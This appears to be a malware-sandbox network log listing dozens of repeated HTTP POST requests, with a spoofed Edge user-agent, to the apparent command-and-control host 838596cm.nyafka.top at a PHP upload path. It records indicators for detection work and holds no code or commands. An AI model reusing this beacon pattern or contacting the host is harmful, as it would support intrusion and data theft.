Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
